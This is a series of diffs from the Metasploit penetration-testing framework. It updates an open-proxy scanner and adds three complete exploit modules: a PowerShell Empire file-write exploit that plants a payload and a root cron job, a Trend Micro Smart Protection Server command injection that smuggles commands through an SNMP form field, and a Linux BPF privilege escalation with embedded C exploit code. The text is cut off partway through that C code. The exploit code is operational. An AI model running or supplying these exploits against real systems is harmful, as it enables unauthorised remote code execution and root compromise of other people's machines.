@ -16,8 +16,10 @@ class MetasploitModule < Msf::Auxiliary
super(update_info(info,
'Name' => 'HTTP Open Proxy Detection',
'Description' => %q{
Checks if an HTTP proxy is open. False positive are avoided
verifing the HTTP return code and matching a pattern.
Checks if an HTTP proxy is open. False positive are avoided
verifying the HTTP return code and matching a pattern.
The CONNECT method is verified only the return code.
HTTP headers are shown regarding the use of proxy or load balancer.
},
'References' =>
[
@ -31,224 +33,126 @@ class MetasploitModule < Msf::Auxiliary
register_options(
[
Opt::RPORT(8080),
OptBool.new('MULTIPORTS', [ false, 'Multiple ports will be used : 80, 1080, 3128, 8080, 8123', false ]),
OptBool.new('RANDOMIZE_PORTS', [ false, 'Randomize the order the ports are probed', false ]),
OptBool.new('VERIFY_CONNECT', [ false, 'Enable test for CONNECT method', false ]),
OptBool.new('VERIFY_HEAD', [ false, 'Enable test for HEAD method', false ]),
OptBool.new('LOOKUP_PUBLIC_ADDRESS', [ false, 'Enable test for retrieve public IP address via RIPE.net', false ]),
OptString.new('SITE', [ true, 'The web site to test via alleged web proxy (default is www.google.com)', 'www.google.com' ]),
OptString.new('ValidCode', [ false, "Valid HTTP code for a successfully request", '200,302' ]),
OptString.new('ValidPattern', [ false, "Valid HTTP server header for a successfully request", 'server: gws' ]),
OptString.new('UserAgent', [ true, 'The HTTP User-Agent sent in the request', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
], self.class)
register_advanced_options(
[
OptString.new('RIPE_ADDRESS', [ true, 'www.ripe.net IP address', '193.0.6.139' ]),
OptBool.new('MULTIPORTS', [ false, 'Multiple ports will be used: 80, 443, 1080, 3128, 8000, 8080, 8123', false ]),
OptBool.new('VERIFYCONNECT', [ false, 'Enable CONNECT HTTP method check', false ]),
OptString.new('CHECKURL', [ true, 'The web site to test via alleged web proxy', 'http://www.google.com' ]),
OptString.new('VALIDCODES', [ true, "Valid HTTP code for a successfully request", '200,302' ]),
OptString.new('VALIDPATTERN', [ true, "Valid pattern match (case-sensitive into the headers and HTML body) for a successfully request", '<TITLE>302 Moved</TITLE>' ]),
], self.class)
register_wmap_options({
'OrderID' => 1,
'Require' => {},
})
'OrderID' => 1,
'Require' => {},
})
end
def run_host(target_host)
check_url = datastore['CHECKURL']
if datastore['VERIFYCONNECT']
target_method = 'CONNECT'
# CONNECT doesn't need <scheme> but need port
check_url = check_url.gsub(/[http:\/\/|https:\/\/]/, '')
if check_url !~ /:443$/
check_url = check_url + ":443"
end
else
target_method = 'GET'
# GET only http request
check_url = check_url.gsub(/https:\/\//, '')
if check_url !~ /^http:\/\//i
check_url = 'http://' + check_url
end
end
target_ports = []
if datastore['MULTIPORTS']
target_ports = [ 80, 1080, 3128, 8080, 8123 ]
target_ports = [ 80, 443, 1080, 3128, 8000, 8080, 8123 ]
else
target_ports.push(datastore['RPORT'].to_i)
end
target_ports.push(datastore['RPORT'].to_i)
if datastore['RANDOMIZE_PORTS']
target_ports = target_ports.sort_by { rand }
end
target_ports = target_ports.uniq
site = datastore['SITE']
user_agent = datastore['UserAgent']
target_proxy_headers = [ 'Forwarded', 'Front-End-Https', 'Max-Forwards', 'Via', 'X-Cache', 'X-Cache-Lookup', 'X-Client-IP', 'X-Forwarded-For', 'X-Forwarded-Host' ]
target_ports.each do |target_port|
datastore['RPORT'] = target_port
if target_host == site
print_error("Target is the same as proxy site.")
else
check_host(target_host,target_port,site,user_agent)
end
verify_target(target_host,target_port,target_method,check_url,target_proxy_headers)
end
end
def check_pattern(res,pattern)
def verify_target(target_host,target_port,target_method,check_url,target_proxy_headers)
if (res =~ /#{pattern}/i)
return 1
else
return 0
end
vprint_status("#{peer} - Sending a web request... [#{target_method}][#{check_url}]")
end
def write_request(method,site,user_agent)
request = method + " http://" + site + "/ HTTP/1.1" + "\r\n" +
"Host: " + site + "\r\n" +
"Connection: close" + "\r\n" +
"User-Agent: #{user_agent}" + "\r\n" +
"Accept-Encoding: *" + "\r\n" +
"Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7" + "\r\n" +
"Cache-Control: no" + "\r\n" +
"Accept-Language: de,en;q=0.7,en-us;q=0.3" + "\r\n" +
"\r\n"
return request
end
def send_request(site,user_agent)
datastore['RPORT'] = target_port
begin
connect
request = write_request('GET',site,user_agent)
sock.put(request)
res = sock.get_once(-1, 10)
disconnect
validcodes = datastore['ValidCode'].split(/,/)
is_valid = 0
retcode = 0
retvia = 'n/a'
retsrv = 'n/a'
if (res and res.match(/^HTTP\/1\.[01]\s+([^\s]+)\s+(.*)/))
retcode = $1
if (res.match(/Server: (.*)/))
retsrv = $1.chomp
end
if (res.match(/Via: (.*)\((.*)\)/))
retvia = $2
end
validcodes.each do |validcode|
if (retcode.to_i == validcode.to_i)
is_valid += 1
end
end
if (check_pattern(res,datastore['ValidPattern']) == 1)
is_valid += 1
end
end
retres = [ is_valid, retcode, retvia, retsrv ]
return retres
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
def send_request_ripe(user_agent)
ripe_address = datastore['RIPE_ADDRESS']
begin
connect
request = write_request('GET',ripe_address,user_agent)
sock.put(request)
res = sock.get_once(-1, 10)
disconnect
retres = 0
if (res and res.match(/^HTTP\/1\.[01]\s+([^\s]+)\s+(.*)/))
retcode = $1
if (retcode.to_i == 200)
res.match(/Your IP Address is: <strong>(\s+)([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})(\s+)<\/strong>/m)
retres = "#{$2}.#{$3}.#{$4}.#{$5}"
end
end
return retres
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
def check_host(target_host,target_port,site,user_agent)
vprint_status("Checking #{target_host}:#{target_port} [#{site}]")
is_valid,retcode,retvia,retsrv = send_request(site,user_agent)
if (is_valid == 2)
print_status("#{target_host}:#{target_port} is a potentially OPEN proxy [#{retcode}] (#{retvia})")
report_note(
:host => target_host,
:port => target_port,
:method => 'GET',
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:type => 'OPEN PROXY',
:data => 'Open proxy'
res = send_request_cgi(
'uri' => check_url,
'method' => target_method,
'version' => '1.1'
)
if (datastore['VERIFY_CONNECT'])
return if not res
permit_connect,retcode,retvia,retsrv = send_request(site,user_agent)
vprint_status("#{peer} - Returns with '#{res.code}' status code [#{target_method}][#{check_url}]")
if (permit_connect == 2)
print_status("#{target_host}:#{target_port} CONNECT method successfully tested")
valid_codes = datastore['VALIDCODES'].split(/,/)
target_proxy_headers_results = []
target_proxy_headers.each do |proxy_header|
if (res.headers.to_s.match(/#{proxy_header}: (.*)/))
proxy_header_value = $1
# Ok...I don't like it but works...
target_proxy_headers_results.push("\n |_ #{proxy_header}: #{proxy_header_value}")
end
end
if target_proxy_headers_results.any?
proxy_headers = target_proxy_headers_results.join()
end
if datastore['VERIFYCONNECT']
# Verifiying CONNECT we check only the return code
if valid_codes.include?(res.code.to_s)
print_good("#{peer} - Potentially open proxy [#{res.code}][#{target_method}]#{proxy_headers}")
report_note(
:host => target_host,
:port => target_port,
:method => 'CONNECT'
:method => target_method,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:type => 'OPEN HTTP PROXY',
:data => 'Open http proxy (CONNECT)'
)
end
end
else
# Verify return code && (headers.pattern or body.pattern)
if valid_codes.include?(res.code.to_s) && (res.headers.include?(datastore['VALIDPATTERN']) || res.body.include?(datastore['VALIDPATTERN']))
if (datastore['VERIFY_HEAD'])
permit_connect,retcode,retvia,retsrv = send_request(site,user_agent)
if (permit_connect == 2)
print_status("#{target_host}:#{target_port} HEAD method successfully tested")
print_good("#{peer} - Potentially open proxy [#{res.code}][#{target_method}]#{proxy_headers}")
report_note(
:host => target_host,
:port => target_port,
:method => 'HEAD'
:method => target_method,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:type => 'OPEN HTTP PROXY',
:data => 'Open http proxy (GET)'
)
end
end
if (datastore['LOOKUP_PUBLIC_ADDRESS'])
retres = send_request_ripe(user_agent)
if (retres != 0)
print_status("#{target_host}:#{target_port} using #{retres} public IP address")
end
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
vprint_error("#{peer} - The port '#{target_port}' is unreachable!")
return nil
end
end
end

View File

@ -56,7 +56,7 @@ class MetasploitModule < Msf::Auxiliary
if(success == 1)
vendor_len = response[24,2].unpack('v')[0]
vendor = response[40,vendor_len].unpack('A*')[0]
print_status("#{ip} Open X Server (#{vendor})")
print_good("#{ip} Open X Server (#{vendor})")
# Add Report
report_note(
:host => ip,
@ -67,7 +67,7 @@ class MetasploitModule < Msf::Auxiliary
:data => "Open X Server (#{vendor})"
)
elsif (success == 0)
print_status("#{ip} Access Denied")
print_error("#{ip} Access Denied")
else
# X can return a reason for auth failure but we don't really care for this
end

View File

@ -0,0 +1,246 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
TASK_DOWNLOAD = 41
def initialize(info = {})
super(update_info(info,
'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)',
'Description' => %q{
A vulnerability existed in the PowerShellEmpire server prior to commit
f030cf62 which would allow an arbitrary file to be written to an
attacker controlled location with the permissions of the Empire server.
This exploit will write the payload to /tmp/ directory followed by a
cron.d file to execute the payload.
},
'Author' =>
[
'Spencer McIntyre', # Vulnerability discovery & Metasploit module
'Erik Daguerre' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'http://www.harmj0y.net/blog/empire/empire-fails/']
],
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => %w{ linux python },
'Targets' =>
[
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'Linux x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ]
],
'DefaultOptions' => { 'WfsDelay' => 75 },
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 15 2016'))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]),
OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]),
OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]),
OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ])
], self.class)
end
def check
return Exploit::CheckCode::Safe if get_staging_key.nil?
Exploit::CheckCode::Appears
end
def aes_encrypt(key, data, include_mac=false)
cipher = OpenSSL::Cipher::AES256.new(:CBC)
cipher.encrypt
iv = cipher.random_iv
cipher.key = key
cipher.iv = iv
data = iv + cipher.update(data) + cipher.final
digest = OpenSSL::Digest.new('sha1')
data << OpenSSL::HMAC.digest(digest, key, data) if include_mac
data
end
def create_packet(res_id, data, counter=nil)
data = Rex::Text::encode_base64(data)
counter = Time.new.to_i if counter.nil?
[ res_id, counter, data.length ].pack('VVV') + data
end
def reversal_key
# reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016)
[
[ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d],
[ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29],
[ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a],
[ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24]
]
end
def rsa_encode_int(value)
encoded = []
while value > 0 do
encoded << (value & 0xff)
value >>= 8
end
Rex::Text::encode_base64(encoded.reverse.pack('C*'))
end
def rsa_key_to_xml(rsa_key)
rsa_key_xml = "<RSAKeyValue>\n"
rsa_key_xml << " <Exponent>#{ rsa_encode_int(rsa_key.e.to_i) }</Exponent>\n"
rsa_key_xml << " <Modulus>#{ rsa_encode_int(rsa_key.n.to_i) }</Modulus>\n"
rsa_key_xml << "</RSAKeyValue>"
rsa_key_xml
end
def get_staging_key
# STAGE0_URI resource requested by the initial launcher
# The default STAGE0_URI resource is index.asp
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI'])
})
return unless res and res.code == 200
staging_key = Array.new(32, nil)
staging_data = res.body.bytes
reversal_key.each_with_index do |(pos, char_code), key_pos|
staging_key[key_pos] = staging_data[pos] ^ char_code
end
return if staging_key.include? nil
# at this point the staging key should have been fully recovered but
# we'll verify it by attempting to decrypt the header of the stage
decrypted = []
staging_data[0..23].each_with_index do |byte, pos|
decrypted << (byte ^ staging_key[pos])
end
return unless decrypted.pack('C*').downcase == 'function start-negotiate'
staging_key
end
def write_file(path, data, session_id, session_key, server_epoch)
# target_url.path default traffic profile for empire agent communication
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50
data = create_packet(
TASK_DOWNLOAD,
[
'0',
session_id + path,
Rex::Text::encode_base64(data)
].join('|'),
server_epoch
)
if datastore['PROFILE'].blank?
profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample)
else
profile_uri = normalize_uri(target_uri.path, datastore['PROFILE'])
end
res = send_request_cgi({
'cookie' => "SESSIONID=#{session_id}",
'data' => aes_encrypt(session_key, data, include_mac=true),
'method' => 'POST',
'uri' => normalize_uri(profile_uri)
})
fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200
res
end
def cron_file(command)
cron_file = 'SHELL=/bin/sh'
cron_file << "\n"
cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
cron_file << "\n"
cron_file << "* * * * * root #{command}"
cron_file << "\n"
cron_file
end
def exploit
vprint_status('Recovering the staging key...')
staging_key = get_staging_key
if staging_key.nil?
fail_with(Failure::Unknown, 'Failed to recover the staging key')
end
vprint_status("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}")
staging_key = staging_key.pack('C*')
rsa_key = OpenSSL::PKey::RSA.new(2048)
session_id = Array.new(50, '..').join('/')
# STAGE1_URI, The resource used by the RSA key post
# The default STAGE1_URI resource is index.jsp
# https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37
res = send_request_cgi({
'cookie' => "SESSIONID=#{session_id}",
'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)),
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI'])
})
fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200
vprint_status("Successfully sent the RSA key")
# decrypt the response and pull out the epoch and session_key
body = rsa_key.private_decrypt(res.body)
server_epoch = body[0..9].to_i
session_key = body[10..-1]
print_status('Successfully negotiated an artificial Empire agent')
payload_data = nil
payload_path = '/tmp/' + rand_text_alpha(8)
case target['Arch']
when ARCH_PYTHON
cron_command = "python #{payload_path}"
payload_data = payload.raw
when ARCH_X86, ARCH_X86_64
cron_command = "chmod +x #{payload_path} && #{payload_path}"
payload_data = payload.encoded_exe
end
print_status("Writing payload to #{payload_path}")
write_file(payload_path, payload_data, session_id, session_key, server_epoch)
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
print_status("Writing cron job to #{cron_path}")
write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch)
print_status("Waiting for cron job to run, can take up to 60 seconds")
register_files_for_cleanup(cron_path)
register_files_for_cleanup(payload_path)
# Empire writes to a log file location based on the Session ID, so when
# exploiting this vulnerability that file ends up in the root directory.
register_files_for_cleanup('/agent.log')
end
end

View File

@ -87,7 +87,7 @@ class MetasploitModule < Msf::Exploit::Remote
headers = res.to_s
# validate headers
if headers.incude?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')
if headers.include?('X-Powered-By: PHP/5.2.13') && headers.include?('Server: lighttpd/1.4.28')
# and make sure that the body contains the title we'd expect
if res.body.include?('Login to BlackArmor')
return Exploit::CheckCode::Appears

View File

@ -0,0 +1,208 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'openssl'
require 'base64'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info={})
super(update_info(info,
'Name' => "Trend Micro Smart Protection Server Exec Remote Code Injection",
'Description' => %q{
This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection.
Please note: authentication is required to exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Quentin Kaiser <kaiserquentin[at]gmail.com>'
],
'References' =>
[
['CVE-ID', 'CVE-2016-6267']
],
'Platform' => 'linux',
'Targets' => [ [ 'Linux', {} ] ],
'Payload' => { 'BadChars' => "\x00" },
'CmdStagerFlavor' => [ 'bourne' ],
'Privileged' => false,
'DefaultOptions' =>
{
'SSL' => true
},
'DisclosureDate' => "Aug 8 2016",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('SSL', [ true, 'Use SSL', true ]),
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptAddress.new("LHOST", [true, "The local host for the exploits and handlers", Rex::Socket.source_address]),
OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]),
OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']),
OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']),
], self.class)
end
def check
opts = login
if opts
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"),
'headers'=>
{
'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
}
})
if res and res.code == 200
version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*<td[^>]*>([^<]*)</).last.first.to_f
build = res.body.to_s.scan(/MSG_ABOUT_BUILD <\/td>[^<]*<td[^>]*><span[^>]*>([^<]*)</).last.first.to_i(10)
print_status("TrendMicro Smart Protection Server detected.")
print_status("Version: #{version}")
print_status("Build: #{build}")
if (version == 3.0 and build < 1330) or
(version == 2.6 and build < 2106) or
(version == 2.5 and build < 2200)
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
end
Exploit::CheckCode::Unknown
end
def execute_command(cmd, opts = {})
uri = target_uri.path
send_request_cgi({
'method' => 'POST',
'version' => '1.0',
'timeout' => 1,
'uri' => normalize_uri(uri, 'php/admin_notification.php'),
'ctype' => 'application/x-www-form-urlencoded',
'headers'=>
{
'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}",
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
},
'vars_post' => {
'EnableSNMP' => 'on',
'Community' => 'hello',
'submit' => 'Save',
'pubkey' => '',
'spare_EnableSNMP' => 1,
'spare_Community' => "test;#{cmd}",
'spare_EnableIPRestriction' => 0,
'spare_AllowGroupIP' => '',
'spare_AllowGroupNetmask' => '',
'sid' => opts["sid"]
}
})
end
def login
uri = target_uri.path
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
})
if res and res.code == 200 and !res.get_cookies.empty?
sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first.strip
sid_value = res.get_cookies.scan(/#{sid}=([a-z0-9]+);/).last.first
n = res.body.to_s.scan(/name="pubkey" value="([^"]*)"/).last.first
nonce = res.body.to_s.scan(/name="nonce" value="([^"]*)"/).last.first
asn1_sequence = OpenSSL::ASN1::Sequence.new(
[
OpenSSL::ASN1::Integer.new("0x#{n}".to_i(16)),
OpenSSL::ASN1::Integer.new("0x10001".to_i(16))
]
)
public_key = OpenSSL::PKey::RSA.new(asn1_sequence)
creds = "#{datastore['ADMINACCOUNT']}\t#{datastore['ADMINPASS']}\t#{nonce}"
data = Base64.encode64(public_key.public_encrypt(creds))
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, "auth.php"),
'ctype' => 'application/x-www-form-urlencoded',
'headers'=>
{
'Cookie' => "#{sid}=#{sid_value}",
'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php",
'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}",
},
'vars_post' => {
'data' => data,
'sid' => sid
}
})
if res and res.code == 302
if res.headers.key?('Set-Cookie')
sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first
sid_value = res.get_cookies.scan(/#{sid}=([^;]*);/).last.first
end
report_cred(
ip: datastore['RHOST'],
port: datastore['RPORT'],
service_name: (ssl ? "https" : "http"),
user: datastore['ADMINACCOUNT'],
password: datastore['ADMINPASS'],
proof: "#{sid}=#{sid_value}"
)
return {"sid" => sid, "sid_value" => sid_value}
end
end
nil
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def exploit
opts = login
if opts
print_status("Successfully logged in.")
print_status("Exploiting...")
execute_cmdstager(opts=opts)
else
print_error("An error occured while loggin in.")
end
end
end

View File

@ -0,0 +1,501 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper
def initialize(info={})
super( update_info( info, {
'Name' => 'Linux BPF Local Privilege Escalation',
'Description' => %q{
Linux kernel >=4.4 with CONFIG_BPF_SYSCALL and kernel.unprivileged_bpf_disabled
sysctl is not set to 1, BPF can be abused to priv escalate.
Ubuntu 16.04 has all of these conditions met.
},
'License' => MSF_LICENSE,
'Author' =>
[
'jannh@google.com', # discovery
'h00die <mike@shorebreaksecurity.com>' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'References' =>
[
[ 'CVE', '2016-4557' ],
[ 'EDB', '39772' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=808' ],
[ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ]
],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultOptions' =>
{
'payload' => 'linux/x64/mettle/reverse_tcp',
'PrependFork' => true,
'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
},
'DefaultTarget' => 1,
'DisclosureDate' => 'May 04 2016',
'Privileged' => true
}
))
register_options([
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ])
], self.class)
end
def check
def check_config_bpf_syscall?()
output = cmd_exec('grep CONFIG_BPF_SYSCALL /boot/config-`uname -r`')
if output == 'CONFIG_BPF_SYSCALL=y'
vprint_good('CONFIG_BPF_SYSCALL is set to yes')
return true
else
print_error('CONFIG_BPF_SYSCALL is NOT set to yes')
return false
end
end
def check_kernel_disabled?()
output = cmd_exec('sysctl kernel.unprivileged_bpf_disabled')
if output != 'kernel.unprivileged_bpf_disabled = 1'
vprint_good('kernel.unprivileged_bpf_disabled is NOT set to 1')
return true
else
print_error('kernel.unprivileged_bpf_disabled is set to 1')
return false
end
end
def check_fuse?()
lib = cmd_exec('dpkg --get-selections | grep ^fuse')
if lib.include?('install')
vprint_good('fuse is installed')
return true
else
print_error('fuse is not installed. Exploitation will fail.')
return false
end
end
def mount_point_exists?()
if directory?('/tmp/fuse_mount')
print_error('/tmp/fuse_mount should be unmounted and deleted. Exploitation will fail.')
return false
else
vprint_good('/tmp/fuse_mount doesn\'t exist')
return true
end
end
if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?()
CheckCode::Appears
else
CheckCode::Safe
end
end
def exploit
def upload_and_compile(filename, file_path, file_content, compile=nil)
rm_f "#{file_path}"
if not compile.nil?
rm_f "#{file_path}.c"
vprint_status("Writing #{filename} to #{file_path}.c")
write_file("#{file_path}.c", file_content)
register_file_for_cleanup("#{file_path}.c")
output = cmd_exec(compile)
if output != ''
print_error(output)
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
end
else
vprint_status("Writing #{filename} to #{file_path}")
write_file(file_path, file_content)
end
cmd_exec("chmod +x #{file_path}");
register_file_for_cleanup(file_path)
end
doubleput = %q{
#define _GNU_SOURCE
#include <stdbool.h>
#include <errno.h>
#include <err.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/prctl.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <linux/bpf.h>
#include <linux/kcmp.h>
#ifndef __NR_bpf
# if defined(__i386__)
# define __NR_bpf 357
# elif defined(__x86_64__)
# define __NR_bpf 321
# elif defined(__aarch64__)
# define __NR_bpf 280
# else
# error
# endif
#endif
int uaf_fd;
int task_b(void *p) {
/* step 2: start writev with slow IOV, raising the refcount to 2 */
char *cwd = get_current_dir_name();
char data[2048];
sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
errx(1, "system() failed");
int fuse_fd = open("fuse_mount/hello", O_RDWR);
if (fuse_fd == -1)
err(1, "unable to open FUSE fd");
if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
errx(1, "unable to write to FUSE fd");
struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
if (iov_ == MAP_FAILED)
err(1, "unable to mmap FUSE fd");
fputs("starting writev\n", stderr);
ssize_t writev_res = writev(uaf_fd, iov_, 1);
/* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
if (writev_res == -1)
err(1, "writev failed");
if (writev_res != strlen(data))
errx(1, "writev returned %d", (int)writev_res);
fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);
while (1) sleep(1); /* whatever, just don't crash */
}
void make_setuid(void) {
/* step 1: open writable UAF fd */
uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
if (uaf_fd == -1)
err(1, "unable to open UAF fd");
/* refcount is now 1 */
char child_stack[20000];
int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
sleep(3);
/* refcount is now 2 */
/* step 2+3: use BPF to remove two references */
for (int i=0; i<2; i++) {
struct bpf_insn insns[2] = {
{
.code = BPF_LD | BPF_IMM | BPF_DW,
.src_reg = BPF_PSEUDO_MAP_FD,
.imm = uaf_fd
},
{
}
};
union bpf_attr attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = 2,
.insns = (__aligned_u64) insns,
.license = (__aligned_u64)""
};
if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
if (errno != EINVAL)
err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
}
/* refcount is now 0, the file is freed soon-ish */
/* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
int status;
int hostnamefds[1000];
int used_fds = 0;
bool up = true;
while (1) {
if (waitpid(child, &status, WNOHANG) == child)
errx(1, "child quit before we got a good file*");
if (up) {
hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);
if (hostnamefds[used_fds] == -1)
err(1, "open target file");
if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;
used_fds++;
if (used_fds == 1000) up = false;
} else {
close(hostnamefds[--used_fds]);
if (used_fds == 0) up = true;
}
}
